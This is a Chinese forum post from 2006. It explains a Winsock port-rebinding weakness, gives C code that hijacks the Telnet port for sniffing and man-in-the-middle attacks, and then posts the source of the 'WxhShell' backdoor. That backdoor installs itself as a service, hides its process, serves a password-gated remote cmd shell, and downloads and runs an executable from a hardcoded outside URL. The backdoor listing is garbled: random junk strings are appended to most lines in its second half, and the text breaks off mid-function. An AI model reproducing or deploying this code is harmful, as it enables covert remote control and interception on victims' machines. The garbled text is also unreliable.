[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; q@l(Qol
if(chr[0]==0xd || chr[0]==0xa) { m[:K"lZ ]2
pwd=0; uv]{1S{tb
break; s8vKKvs`9
} \|%E%Yc
i++; OCNPi4
} BvK QlT
fx)KNm8Lx
// 如果是非法用户，关闭 socket I\zemW!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E^wyD-ii/
} 3v1 7"
Svw<XJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I^_NC&m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ()\jCNLT
9I.^LZ"
while(1) { yMxTfR
B!;+_%P76
ZeroMemory(cmd,KEY_BUFF); "IFgRaP=
/t5p-
// 自动支持客户端 telnet标准 ]Blf9h7
j=0; F*` t"7Lm
while(j<KEY_BUFF) { &| !B!eOY
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? ?[g}>
cmd[j]=chr[0]; 1nI^-aQ3
if(chr[0]==0xa || chr[0]==0xd) { M0w/wt|
cmd[j]=0; {C")#m-0
break; rN5tI.iC
} q3h'l,
j++; 4 1t)(+r
} ;>>C)c4V"
9v?l
// 下载文件 "9XfQ"P
if(strstr(cmd,"http://")) { Ew$I\j*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ->gZ)?Fqy
if(DownloadFile(cmd,wsh)) vzXag*0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5iM[sg[y9
else 3t"4TjAy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6BAW
} pC(sS0J
else { ;ME)Og
~OypE4./1
switch(cmd[0]) { >jTp6tu,
<9eu1^g
// 帮助 zT#`qCbT'J
case '?': { :]WqfR)#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zu/<NC (
break; +Qj(B@i
} F)Oe9x\/
// 安装 [6tSYUZs
case 'i': { %j+xgX/&
if(Install()) :P+\p=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :a0zT#u
else lAi2,bz"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "G?Yrh
break; d 6t:hn
} 9P WY52!
// 卸载 gfgn68k
case 'r': { x#H 3=YD*
if(Uninstall()) ;\{`Ci\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3EK9,:<Cf
else u2iXJmM*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s'\$t
break; (gXN%rsY
} >:1P/U
// 显示 wxhshell 所在路径 RU#F8O
case 'p': { 1/Zh^foG
char svExeFile[MAX_PATH]; ,wAz^cK|
strcpy(svExeFile,"\n\r"); j !H^-d}q
strcat(svExeFile,ExeFile); sa&) #Z:
send(wsh,svExeFile,strlen(svExeFile),0); 3tAU?sV!
break; bt/ =Kq#
} y2|R.EU\m<
// 重启 /)L 0`:I#
case 'b': { rcN 9.1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (u1m]WYL
if(Boot(REBOOT)) ~nY]o"8D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p/GVTf
else { bPbb\|u0d
closesocket(wsh); '{b1!nC;
ExitThread(0); 3V<&|
} >I"V],d!6
break; q_[G1&MC
} I5ZqBB
// 关机 {XCf-{a]~
case 'd': { 9KuD(EJS
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); quxdG>8
if(Boot(SHUTDOWN)) t18$x"\4k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3_lI~=eH
else { CH#k(sy
closesocket(wsh); f 2YLk
ExitThread(0); ;2xO`[#
} Af(WV>'
break; 5*-3? <)e
} +9;2xya2
// 获取shell Zu*K-ep"
case 's': { sW@krBxMv
CmdShell(wsh); 6<76H
closesocket(wsh); T^.Cc--c
ExitThread(0); aM3gRp51cj
break; BMyzjteS+
} S.*~C0"
// 退出 X6e/g{S)
case 'x': { e^1uVN
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |a^U]
CloseIt(wsh); \}0-^(9zd
break; f58?5(Dc|
} 2{|$T2?e
// 离开 {Qu"%h.Al
case 'q': { {R6HG{"IS6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); jNDx,7F-
closesocket(wsh); zCaT tb|@
WSACleanup(); XzIx:J6
exit(1); w?Ju5 5
break; R9+jW'[K
} PJ4(}a
} @~td`Z?1y
} *Mc7f?H
w8Sv*K
// 提示信息 c]k*}W3T
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _QOZsEe
} $.%rAa_H
} AnBJ(h
G\d$x4CVGc
return; I0'WOV70
} ]b?9zeT*'l
@C_KV0i
// shell模块句柄 ZJW[?V\5=
int CmdShell(SOCKET sock) >/$Fh:R-
{ e.d #wyeX
STARTUPINFO si; bpAv1udX-W
ZeroMemory(&si,sizeof(si)); W!Gdf^Yy<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (.Y/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rh*sbZ68>E
PROCESS_INFORMATION ProcessInfo; 1Tp/MV/>
char cmdline[]="cmd"; $g9**b@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k;W@LfP
return 0; OHrY(I6
} ZD/jX_!t
I?#85l{>
// 自身启动模式 9p* gU[
int StartFromService(void) HvwYm.$zE
{ `mfq 2bVc
typedef struct Y*oDO$6
{ uP $Cj
DWORD ExitStatus; zw<p74DH
DWORD PebBaseAddress; ZFm`UXS
DWORD AffinityMask; Fzlozx1y[
DWORD BasePriority; $lA V6I.
ULONG UniqueProcessId; ji1HV1S
ULONG InheritedFromUniqueProcessId; VZka}7a
} PROCESS_BASIC_INFORMATION; ? 8aaD>OR$
/wShUR{
PROCNTQSIP NtQueryInformationProcess; ~T7B$$
WUc#)EEM)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {~GYj%-^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rgy-OA
AFvgbn8Qh
HANDLE hProcess; ,QIF &
PROCESS_BASIC_INFORMATION pbi; [jdFA<Is
INs!Ame2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o Pci66
if(NULL == hInst ) return 0; QS.>0i/7l
R:-JkV>e:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); asiov[o;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6d[_G$'nk
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gU^$Sx7'
-Y#sI3o*R8
if (!NtQueryInformationProcess) return 0; @!N-RQ&A
_ZB\L^j)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gl %3XdU
if(!hProcess) return 0; %_-zWVJ
9h90huyKF
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #m{{a]zm^
8M*PML4r
CloseHandle(hProcess); WF&[HKOy/
^efb 5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O%~jop7#6
if(hProcess==NULL) return 0; `vG,}Pt]
v44}%$
HMODULE hMod; r[(xjn
char procName[255]; Lf([dE1
unsigned long cbNeeded; G0 J4O!3
]r!>{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i@5[FC
HW4.zw
CloseHandle(hProcess); >Iewx Gb>
,Y?sfp
if(strstr(procName,"services")) return 1; // 以服务启动 =\#%j|9N9
{gA\ph%s
return 0; // 注册表启动 LTV{{Z+
} ZoB*0H-
@$"J|s3M
// 主模块 W%2 80\h
int StartWxhshell(LPSTR lpCmdLine) V=He_9B
{ XY.5Rno4
SOCKET wsl; @RFs/'
BOOL val=TRUE; \I-#1M
int port=0; TC~Q G$NW
struct sockaddr_in door; ne61}F"E
87)zCq
if(wscfg.ws_autoins) Install(); /){KOCBl;
)Au6Nf
port=atoi(lpCmdLine); "vCM}F
s5.AW8X=?*
if(port<=0) port=wscfg.ws_port; (iJ1 ;x
5J)=}e
WSADATA data; (BxJryXm
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "LYh7:0s!k
R3)57OyV
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [XRCLi}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \l"&A
door.sin_family = AF_INET; %<?0apO
door.sin_addr.s_addr = inet_addr("127.0.0.1"); E5el?=,i
door.sin_port = htons(port); bPD`+:A_
- K%,^6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k%wn0Erd
closesocket(wsl); Xtz-\v#0o'
return 1; P1b'%
} pL1Q7&&c0
6iEhsL&K
if(listen(wsl,2) == INVALID_SOCKET) { hmx= 35
closesocket(wsl); n,eJ$2!J
return 1; YSJy`
} F/m^?{==~*
Wxhshell(wsl); RjF'x
WSACleanup(); QIN."&qC^
ri`R<l8
return 0; $@d9<83=
d_n7k g+
} ;N B:e
<2!v(EkI
// 以NT服务方式启动 svelYe#9z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g~7Ri-"
{ %p^.\ch9
DWORD status = 0; >e2<!#er|
DWORD specificError = 0xfffffff; xvzr:pP
-yGDh+-
serviceStatus.dwServiceType = SERVICE_WIN32; ,*4p?|A
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZT02"3F
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1:NrP'W^
serviceStatus.dwWin32ExitCode = 0; 7&`}~$>}>e
serviceStatus.dwServiceSpecificExitCode = 0; +,:du*C
serviceStatus.dwCheckPoint = 0; c`lJu_
serviceStatus.dwWaitHint = 0; 48|s$K^
O\K_q7iO6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;!o]wHmA
if (hServiceStatusHandle==0) return; *5zrZ]^
e*(b
status = GetLastError(); \;VhYvEH
if (status!=NO_ERROR) ve ~05mg
{ M3p
serviceStatus.dwCurrentState = SERVICE_STOPPED; hS[yNwD
serviceStatus.dwCheckPoint = 0; t1VH doNN
serviceStatus.dwWaitHint = 0; f:g,_|JD$
serviceStatus.dwWin32ExitCode = status; hjO*~
serviceStatus.dwServiceSpecificExitCode = specificError; WwC 5!kZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2([2Pb3<"
return; &U+ _ -Ph
} \BWykA>
j1SMeDDM ~
serviceStatus.dwCurrentState = SERVICE_RUNNING; k5kdCC0FCk
serviceStatus.dwCheckPoint = 0; -(`OcGM'L
serviceStatus.dwWaitHint = 0; L=2y57&Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QDpEb=|S
} iv phlw
n~g)I&
// 处理NT服务事件，比如：启动、停止 ]zO/A4
VOID WINAPI NTServiceHandler(DWORD fdwControl) :16P.z1L
{ T!wo2EzE
switch(fdwControl) Te2zK7:
{ < RCLI|
case SERVICE_CONTROL_STOP: Rwr 2gMt7
serviceStatus.dwWin32ExitCode = 0; )s1Ib4C
serviceStatus.dwCurrentState = SERVICE_STOPPED; K:'q>D@
serviceStatus.dwCheckPoint = 0; }M1sksk5
serviceStatus.dwWaitHint = 0; ZEYgK)^
{ |F.)zC5{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7?B.0>$3>V
} o!:8nXw
return; p8s:g~ W
case SERVICE_CONTROL_PAUSE: `@i5i((
serviceStatus.dwCurrentState = SERVICE_PAUSED; Z%GTnG|rG
break; -XRn~=5
case SERVICE_CONTROL_CONTINUE: 3nY1[,
serviceStatus.dwCurrentState = SERVICE_RUNNING; }HE6aF62O
break; sC[yI Up
case SERVICE_CONTROL_INTERROGATE: JFgoN,xn
break; Bl9jkq ]
}; tBTTCwNT%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2_Wg!bq
} 64-#}3zL
xEuN
// 标准应用程序主函数 T#pk]c6Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `%3/
{ DK0.R]&4(
7bxA]s{m
// 获取操作系统版本 \A`hj~
OsIsNt=GetOsVer(); JT fd#g?I
GetModuleFileName(NULL,ExeFile,MAX_PATH); <p;k)S2J
mDh1>>K'~
// 从命令行安装 rF\"w0J_
if(strpbrk(lpCmdLine,"iI")) Install(); _C\[DR0n
=)O,`.M.Y
// 下载执行文件 47r_y\U h
if(wscfg.ws_downexe) { x{NX8lN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z} '!eCl
